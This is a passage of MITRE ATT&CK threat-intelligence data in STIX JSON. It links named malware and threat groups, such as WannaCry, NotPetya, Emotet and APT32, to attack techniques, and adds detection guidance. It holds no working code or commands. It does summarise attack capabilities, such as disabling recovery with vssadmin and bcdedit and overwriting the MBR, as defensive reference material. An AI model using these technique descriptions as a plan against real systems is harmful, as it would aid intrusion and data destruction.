Stealer](https://attack.mitre.org/software/S1029) can collect data such as PowerPoint files, Word documents, Excel files, PDF files, text files, database files, and image files from an infected machine.(Citation: MalwareBytes SideCopy Dec 2021)","modified":"2022-08-24T16:52:51.000Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--3e4e2c79-2b27-4245-a5c1-5586a3cbd8f5","target_ref":"attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--769a2214-5e04-4290-a172-b770f8bb223e","type":"relationship","created":"2021-12-06T15:55:33.706Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"US-CERT TA18-074A","description":"US-CERT. (2018, March 16). Alert (TA18-074A): Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved June 6, 2018.","url":"https://www.us-cert.gov/ncas/alerts/TA18-074A"}],"modified":"2021-12-06T15:55:33.706Z","description":"[Dragonfly](https://attack.mitre.org/groups/G0035) has used the command line for execution.(Citation: US-CERT TA18-074A)","relationship_type":"uses","source_ref":"intrusion-set--1c63d4ec-0a75-4daa-b1df-0d11af3d3cc1","target_ref":"attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--769b2668-2e16-4300-89f4-f45124896fb8","type":"relationship","created":"2020-03-27T21:02:29.469Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-03-27T21:02:29.469Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--045d0922-2310-4e60-b5e4-3302302cb3c5","target_ref":"attack-pattern--457c7820-d331-465a-915e-42f85500ccc4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--76a3097b-808d-45a9-aa81-dce5ed6a45d3","type":"relationship","created":"2020-05-28T16:38:03.775Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Eset Ramsay May 2020","url":"https://www.welivesecurity.com/2020/05/13/ramsay-cyberespionage-toolkit-airgapped-networks/","description":"Sanmillan, I.. (2020, May 13). Ramsay: A cyber‑espionage toolkit tailored for air‑gapped networks. Retrieved May 27, 2020."},{"source_name":"Antiy CERT Ramsay April 2020","url":"https://www.programmersought.com/article/62493896999/","description":"Antiy CERT. (2020, April 20). Analysis of Ramsay components of Darkhotel's infiltration and isolation network. Retrieved March 24, 2021."}],"modified":"2021-03-24T20:25:01.509Z","description":"[Ramsay](https://attack.mitre.org/software/S0458) has been embedded in documents exploiting CVE-2017-0199, CVE-2017-11882, and CVE-2017-8570.(Citation: Eset Ramsay May 2020)(Citation: Antiy CERT Ramsay April 2020)","relationship_type":"uses","source_ref":"malware--ba09b86c-1c40-4ff1-bda0-0d8c4ca35997","target_ref":"attack-pattern--be2dcee9-a7a7-4e38-afd6-21b31ecc3d63","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--76b2e00d-78bb-4aea-a787-46289b8540ef","created":"2023-07-28T17:40:16.091Z","revoked":false,"external_references":[{"source_name":"Sygnia Elephant Beetle Jan 2022","description":"Sygnia Incident Response Team. (2022, January 5). TG2003: ELEPHANT BEETLE UNCOVERING AN ORGANIZED FINANCIAL-THEFT OPERATION. Retrieved February 9, 2023.","url":"https://f.hubspotusercontent30.net/hubfs/8776530/Sygnia-%20Elephant%20Beetle_Jan2022.pdf?__hstc=147695848.3e8f1a482c8f8d4531507747318e660b.1680005306711.1680005306711.1680005306711.1&__hssc=147695848.1.1680005306711&__hsfp=3000179024&hsCtaTracking=189ec409-ae2d-4909-8bf1-62dcdd694372%7Cca91d317-8f10-4a38-9f80-367f551ad64d"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-07-28T17:40:16.091Z","description":"[FIN13](https://attack.mitre.org/groups/G1016) has utilized tools such as Incognito V2 for token manipulation and impersonation.(Citation: Sygnia Elephant Beetle Jan 2022)","relationship_type":"uses","source_ref":"intrusion-set--fd66436e-4d33-450e-ac4c-f7810f1c85f4","target_ref":"attack-pattern--8cdeb020-e31e-4f88-a582-f53dcfbda819","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--76b62130-29f5-4e3a-ace1-146a228a08a9","type":"relationship","created":"2019-09-13T13:54:29.625Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Machete July 2019","url":"https://www.welivesecurity.com/wp-content/uploads/2019/08/ESET_Machete.pdf","description":"ESET. (2019, July). MACHETE JUST GOT SHARPER Venezuelan government institutions under attack. Retrieved September 13, 2019."}],"modified":"2019-10-07T15:16:12.164Z","description":"[Machete](https://attack.mitre.org/software/S0409) sends stolen data to the C2 server every 10 minutes.(Citation: ESET Machete July 2019) ","relationship_type":"uses","source_ref":"malware--35cd1d01-1ede-44d2-b073-a264d727bc04","target_ref":"attack-pattern--4eeaf8a9-c86b-4954-a663-9555fb406466","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--76b77ff0-54db-40bd-910b-2776c714075d","type":"relationship","created":"2019-04-17T13:46:38.864Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cybereason Astaroth Feb 2019","url":"https://www.cybereason.com/blog/information-stealing-malware-targeting-brazil-full-research","description":"Salem, E. (2019, February 13). ASTAROTH MALWARE USES LEGITIMATE OS AND ANTIVIRUS PROCESSES TO STEAL PASSWORDS AND PERSONAL DATA. Retrieved April 17, 2019."}],"modified":"2019-09-09T19:23:37.278Z","description":"[Astaroth](https://attack.mitre.org/software/S0373) exfiltrates collected information from its r1.log file to the external C2 server. (Citation: Cybereason Astaroth Feb 2019)","relationship_type":"uses","source_ref":"malware--edb24a93-1f7a-4bbf-a738-1397a14662c6","target_ref":"attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--76bd87d6-517e-4294-b4c5-a5a01308bf35","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www2.fireeye.com/WBNR-Know-Your-Enemy-UNC622-Spear-Phishing.html","description":"Elovitz, S. & Ahl, I. (2016, August 18). Know Your Enemy: New Financially-Motivated & Spear-Phishing Group. Retrieved February 26, 2018.","source_name":"FireEye Know Your Enemy FIN8 Aug 2016"}],"modified":"2019-03-22T20:21:57.790Z","description":"(Citation: FireEye Know Your Enemy FIN8 Aug 2016)","relationship_type":"uses","source_ref":"intrusion-set--fd19bd82-1b14-49a1-a176-6cdc46b8a826","target_ref":"tool--38952eac-cb1b-4a71-bad2-ee8223a1c8fe","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--76bef74f-4820-4838-b56e-b59ae71ac170","type":"relationship","created":"2021-03-04T14:23:52.803Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Volexity Exchange Marauder March 2021","url":"https://www.volexity.com/blog/2021/03/02/active-exploitation-of-microsoft-exchange-zero-day-vulnerabilities/","description":"Gruzweig, J. et al. (2021, March 2). Operation Exchange Marauder: Active Exploitation of Multiple Zero-Day Microsoft Exchange Vulnerabilities. Retrieved March 3, 2021."}],"modified":"2021-03-04T14:23:52.803Z","description":"[HAFNIUM](https://attack.mitre.org/groups/G0125) has collected e-mail addresses for users they intended to target.(Citation: Volexity Exchange Marauder March 2021)","relationship_type":"uses","source_ref":"intrusion-set--2688b13e-8e71-405a-9c40-0dee94bddf87","target_ref":"attack-pattern--69f897fd-12a9-4c89-ad6a-46d2f3c38262","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--76c260cd-7cc8-4333-a253-e19b953c8291","created":"2023-01-17T21:53:09.540Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Costa AvosLocker May 2022","description":"Costa, F. (2022, May 1). RaaS AvosLocker Incident Response Analysis. Retrieved January 11, 2023.","url":"https://www.linkedin.com/pulse/raas-avoslocker-incident-response-analysis-fl%C3%A1vio-costa?trk=articles_directory"},{"source_name":"Cisco Talos Avos Jun 2022","description":"Venere, G. Neal, C. (2022, June 21). Avos ransomware group expands with new attack arsenal. Retrieved January 11, 2023.","url":"https://blog.talosintelligence.com/avoslocker-new-arsenal/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-02-14T17:06:43.107Z","description":"During [C0018](https://attack.mitre.org/campaigns/C0018), the threat actors used encoded PowerShell scripts for execution.(Citation: Cisco Talos Avos Jun 2022)(Citation: Costa AvosLocker May 2022)","relationship_type":"uses","source_ref":"campaign--519ee082-8ab6-439b-988f-a8a3f02c8d30","target_ref":"attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--76c263b8-cfd9-4ad9-b1b6-f8d1184bad5c","type":"relationship","created":"2022-03-30T14:26:51.846Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.846Z","description":"Monitor for newly constructed network connections that are sent or received by untrusted hosts. ","source_ref":"x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba","target_ref":"attack-pattern--1608f3e1-598a-42f4-a01a-2e252e81728f","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--76c371ac-378f-4fed-81c3-9807c8765dd9","type":"relationship","created":"2022-03-30T14:26:51.869Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.869Z","description":"Monitor for third-party application logging, messaging, and/or other artifacts that may leverage the SharePoint repository as a source to mine valuable information. Monitor access to Microsoft SharePoint repositories performed by privileged users (for example, Active Directory Domain, Enterprise, or Schema Administrators) should be closely monitored and alerted upon, as these types of accounts should generally not be used to access information repositories. If the capability exists, it may be of value to monitor and alert on users that are retrieving and viewing a large number of documents and pages; this behavior may be indicative of programmatic means being used to retrieve all data within the repository. In environments with high-maturity, it may be possible to leverage User-Behavioral Analytics (UBA) platforms to detect and alert on user based anomalies.","source_ref":"x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa","target_ref":"attack-pattern--0c4b4fda-9062-47da-98b9-ceae2dcf052a","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--76c3b96b-143e-4c02-9f2e-23647a5a77b9","type":"relationship","created":"2022-03-30T14:26:51.877Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.877Z","description":"Monitor executed commands and arguments that may modify XDG autostart entries to execute programs or commands during system boot.","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--e0232cb0-ded5-4c2e-9dc7-2893142a5c11","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--76ca2629-da20-42ce-95e1-b9f93406a87c","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Symantec Linfo May 2012","description":"Zhou, R. (2012, May 15). Backdoor.Linfo. Retrieved February 23, 2018.","url":"https://www.symantec.com/security_response/writeup.jsp?docid=2012-051605-2535-99"}],"modified":"2020-03-20T02:11:07.211Z","description":"[Linfo](https://attack.mitre.org/software/S0211) creates a backdoor through which remote attackers can start a remote shell.(Citation: Symantec Linfo May 2012)","relationship_type":"uses","source_ref":"malware--e9e9bfe2-76f4-4870-a2a1-b7af89808613","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--76d0be57-e439-4640-b26d-db422353d9e5","type":"relationship","created":"2019-04-02T16:08:50.228Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"LogRhythm WannaCry","url":"https://logrhythm.com/blog/a-technical-analysis-of-wannacry-ransomware/","description":"Noerenberg, E., Costis, A., and Quist, N. (2017, May 16). A Technical Analysis of WannaCry Ransomware. Retrieved March 25, 2019."},{"description":"Berry, A., Homan, J., and Eitzman, R. (2017, May 23). WannaCry Malware Profile. Retrieved March 15, 2019.","url":"https://www.fireeye.com/blog/threat-research/2017/05/wannacry-malware-profile.html","source_name":"FireEye WannaCry 2017"},{"description":"Counter Threat Unit Research Team. (2017, May 18). WCry Ransomware Analysis. Retrieved March 26, 2019.","url":"https://www.secureworks.com/research/wcry-ransomware-analysis","source_name":"SecureWorks WannaCry Analysis"}],"modified":"2019-04-22T11:43:33.534Z","description":"[WannaCry](https://attack.mitre.org/software/S0366) uses vssadmin, wbadmin, bcdedit, and wmic to delete and disable operating system recovery features.(Citation: LogRhythm WannaCry)(Citation: FireEye WannaCry 2017)(Citation: SecureWorks WannaCry Analysis)","relationship_type":"uses","source_ref":"malware--75ecdbf1-c2bb-4afc-a3f9-c8da4de8c661","target_ref":"attack-pattern--f5d8eed6-48a9-4cdf-a3d7-d1ffa99c3d2a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--76d0c7c0-a49e-45af-b734-a8cae9243ca5","created":"2024-05-22T21:18:05.287Z","revoked":false,"external_references":[{"source_name":"SentinelOne Agrius 2021","description":"Amitai Ben & Shushan Ehrlich. (2021, May). From Wiper to Ransomware: The Evolution of Agrius. Retrieved May 21, 2024.","url":"https://assets.sentinelone.com/sentinellabs/evol-agrius"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-22T21:18:05.287Z","description":"[IPsec Helper](https://attack.mitre.org/software/S1132) can run arbitrary PowerShell commands passed to it.(Citation: SentinelOne Agrius 2021)","relationship_type":"uses","source_ref":"malware--b5dc19b7-588d-403b-848d-c868bd61ffa1","target_ref":"attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--76d0dcb7-046a-40d7-80ec-e0e571359f51","created":"2023-09-29T21:06:02.849Z","revoked":false,"external_references":[{"source_name":"Binary Defense Emotes Wi-Fi Spreader","description":"Binary Defense. (n.d.). Emotet Evolves With new Wi-Fi Spreader. Retrieved September 8, 2023.","url":"https://www.binarydefense.com/resources/blog/emotet-evolves-with-new-wi-fi-spreader/"},{"source_name":"CIS Emotet Dec 2018","description":"CIS. (2018, December 12). MS-ISAC Security Primer- Emotet. Retrieved March 25, 2019.","url":"https://www.cisecurity.org/white-papers/ms-isac-security-primer-emotet/"},{"source_name":"IBM IcedID November 2017","description":"Kessem, L., et al. (2017, November 13). New Banking Trojan IcedID Discovered by IBM X-Force Research. Retrieved July 14, 2020.","url":"https://securityintelligence.com/new-banking-trojan-icedid-discovered-by-ibm-x-force-research/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-29T21:06:02.849Z","description":"[Emotet](https://attack.mitre.org/software/S0367) has been observed leveraging a module that can scrape email addresses from Outlook.(Citation: CIS Emotet Dec 2018)(Citation: IBM IcedID November 2017)(Citation: Binary Defense Emotes Wi-Fi Spreader)","relationship_type":"uses","source_ref":"malware--32066e94-3112-48ca-b9eb-ba2b59d2f023","target_ref":"attack-pattern--1608f3e1-598a-42f4-a01a-2e252e81728f","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--76d2d007-1adb-4e04-8e79-dbd799ff57ef","created":"2019-04-01T21:09:50.380Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"ESET OceanLotus Mar 2019","description":"Dumont, R. (2019, March 20). Fake or Fake: Keeping up with OceanLotus decoys. Retrieved April 1, 2019.","url":"https://www.welivesecurity.com/2019/03/20/fake-or-fake-keeping-up-with-oceanlotus-decoys/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-26T17:40:13.744Z","description":"[APT32](https://attack.mitre.org/groups/G0050)'s backdoor has modified the Windows Registry to store the backdoor's configuration. (Citation: ESET OceanLotus Mar 2019)\t","relationship_type":"uses","source_ref":"intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e","target_ref":"attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--76d36590-def6-4fd4-ad2b-5862876adfb6","type":"relationship","created":"2022-03-30T14:26:51.864Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.864Z","description":"Monitor for changes made to files for unexpected modifications to RC scripts in the /etc/ directory","source_ref":"x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8","target_ref":"attack-pattern--dca670cf-eeec-438f-8185-fd959d9ef211","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--76d47356-a255-48ba-9cd8-1ff2e52bb165","type":"relationship","created":"2020-06-01T14:41:54.891Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Proofpoint TA505 October 2019","url":"https://www.proofpoint.com/us/threat-insight/post/ta505-distributes-new-sdbbot-remote-access-trojan-get2-downloader","description":"Schwarz, D. et al. (2019, October 16). TA505 Distributes New SDBbot Remote Access Trojan with Get2 Downloader. Retrieved May 29, 2020."}],"modified":"2020-06-01T14:41:54.891Z","description":"[SDBbot](https://attack.mitre.org/software/S0461) has the ability to access the file system on a compromised host.(Citation: Proofpoint TA505 October 2019)","relationship_type":"uses","source_ref":"malware--92b03a94-7147-4952-9d5a-b4d24da7487c","target_ref":"attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--76d7d7fa-94a4-4fa6-9fd2-e9af9ab0f356","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"S2 Grupo TrickBot June 2017","description":"Salinas, M., Holguin, J. (2017, June). Evolution of Trickbot. Retrieved July 31, 2018.","url":"https://www.securityartwork.es/wp-content/uploads/2017/07/Trickbot-report-S2-Grupo.pdf"},{"description":"Anthony, N., Pascual, C.. (2018, November 1). Trickbot Shows Off New Trick: Password Grabber Module. Retrieved November 16, 2018.","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/trickbot-shows-off-new-trick-password-grabber-module/","source_name":"Trend Micro Trickbot Nov 2018"}],"modified":"2020-03-18T20:49:23.388Z","description":"[TrickBot](https://attack.mitre.org/software/S0266) collects the users of the system.(Citation: S2 Grupo TrickBot June 2017)(Citation: Trend Micro Trickbot Nov 2018)","relationship_type":"uses","source_ref":"malware--00806466-754d-44ea-ad6f-0caf59cb8556","target_ref":"attack-pattern--25659dd6-ea12-45c4-97e6-381e3e4b593e","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--76d837ed-157b-44e0-a6bf-189ffc3239c3","type":"relationship","created":"2020-03-15T15:37:47.740Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-03-15T15:37:47.741Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--fb8d023d-45be-47e9-bc51-f56bcae6435b","target_ref":"attack-pattern--a19e86f8-1c0a-4fea-8407-23b73d615776","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--76e75bfe-b72c-471b-9a26-eab5ed04a812","created":"2017-12-14T16:46:06.044Z","x_mitre_version":"1.0","external_references":[{"source_name":"FireEye EPS Awakens Part 2","url":"https://web.archive.org/web/20151226205946/https://www.fireeye.com/blog/threat-research/2015/12/the-eps-awakens-part-two.html","description":"Winters, R. (2015, December 20). The EPS Awakens - Part 2. Retrieved January 22, 2016."}],"x_mitre_deprecated":false,"revoked":false,"description":"[ELMER](https://attack.mitre.org/software/S0064) uses HTTP for command and control.(Citation: FireEye EPS Awakens Part 2)","modified":"2022-07-26T23:33:26.358Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--3cab1b76-2f40-4cd0-8d2c-7ed16eeb909c","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--76e8bb0f-83a5-462b-8f7d-3369da104e67","created":"2022-03-10T18:23:25.653Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Cisco Ukraine Wipers January 2022","description":"Biasini, N. et al.. (2022, January 21). Ukraine Campaign Delivers Defacement and Wipers, in Continued Escalation. Retrieved March 14, 2022.","url":"https://blog.talosintelligence.com/2022/01/ukraine-campaign-delivers-defacement.html"},{"source_name":"Crowdstrike WhisperGate January 2022","description":"Crowdstrike. (2022, January 19). Technical Analysis of the WhisperGate Malicious Bootloader. Retrieved March 10, 2022.","url":"https://www.crowdstrike.com/blog/technical-analysis-of-whispergate-malware"},{"source_name":"Cybereason WhisperGate February 2022","description":"Cybereason Nocturnus. (2022, February 15). Cybereason vs. WhisperGate and HermeticWiper. Retrieved March 10, 2022.","url":"https://www.cybereason.com/blog/cybereason-vs.-whispergate-wiper"},{"source_name":"Unit 42 WhisperGate January 2022","description":"Falcone, R. et al.. (2022, January 20). Threat Brief: Ongoing Russia and Ukraine Cyber Conflict. Retrieved March 10, 2022.","url":"https://unit42.paloaltonetworks.com/ukraine-cyber-conflict-cve-2021-32648-whispergate/#whispergate-malware-family"},{"source_name":"Microsoft WhisperGate January 2022","description":"MSTIC. (2022, January 15). Destructive malware targeting Ukrainian organizations. Retrieved March 10, 2022.","url":"https://www.microsoft.com/security/blog/2022/01/15/destructive-malware-targeting-ukrainian-organizations/"},{"source_name":"Medium S2W WhisperGate January 2022","description":"S2W. (2022, January 18). Analysis of Destructive Malware (WhisperGate) targeting Ukraine. Retrieved March 14, 2022.","url":"https://medium.com/s2wblog/analysis-of-destructive-malware-whispergate-targeting-ukraine-9d5d158f19f3"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-11-30T22:42:27.857Z","description":"[WhisperGate](https://attack.mitre.org/software/S0689) can overwrite the Master Book Record (MBR) on victim systems with a malicious 16-bit bootloader.(Citation: Microsoft WhisperGate January 2022)(Citation: Crowdstrike WhisperGate January 2022)(Citation: Cybereason WhisperGate February 2022)(Citation: Unit 42 WhisperGate January 2022)(Citation: Cisco Ukraine Wipers January 2022)(Citation: Medium S2W WhisperGate January 2022)","relationship_type":"uses","source_ref":"malware--49fee0b0-390e-4bde-97f8-97ed46bd19b7","target_ref":"attack-pattern--0af0ca99-357d-4ba1-805f-674fdfb7bef9","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--76eae7b3-2e02-41c6-8b31-b81c8d124006","type":"relationship","created":"2019-03-26T16:19:52.456Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Talos Nyetya June 2017","url":"https://blog.talosintelligence.com/2017/06/worldwide-ransomware-variant.html","description":"Chiu, A. (2016, June 27). New Ransomware Variant \"Nyetya\" Compromises Systems Worldwide. Retrieved March 26, 2019."},{"description":"US-CERT. (2017, July 1). Alert (TA17-181A): Petya Ransomware. Retrieved March 15, 2019.","url":"https://www.us-cert.gov/ncas/alerts/TA17-181A","source_name":"US-CERT NotPetya 2017"}],"modified":"2019-04-24T20:02:45.232Z","description":"[NotPetya](https://attack.mitre.org/software/S0368) can use wmic to help propagate itself across a network.(Citation: Talos Nyetya June 2017)(Citation: US-CERT NotPetya 2017)","relationship_type":"uses","source_ref":"malware--5719af9d-6b16-46f9-9b28-fb019541ddbb","target_ref":"attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--76ec3407-84df-4bc9-8679-09564ca9329e","type":"relationship","created":"2020-03-17T00:11:31.843Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Dahan, A. (2017, May 24). OPERATION COBALT KITTY: A LARGE-SCALE APT IN ASIA CARRIED OUT BY THE OCEANLOTUS GROUP. Retrieved November 5, 2018.","url":"https://www.cybereason.com/blog/operation-cobalt-kitty-apt","source_name":"Cybereason Oceanlotus May 2017"},{"source_name":"Cybereason Cobalt Kitty 2017","description":"Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.","url":"https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf"}],"modified":"2020-03-17T00:11:31.843Z","description":"[APT32](https://attack.mitre.org/groups/G0050) has used email for C2 via an Office macro.(Citation: Cybereason Oceanlotus May 2017)(Citation: Cybereason Cobalt Kitty 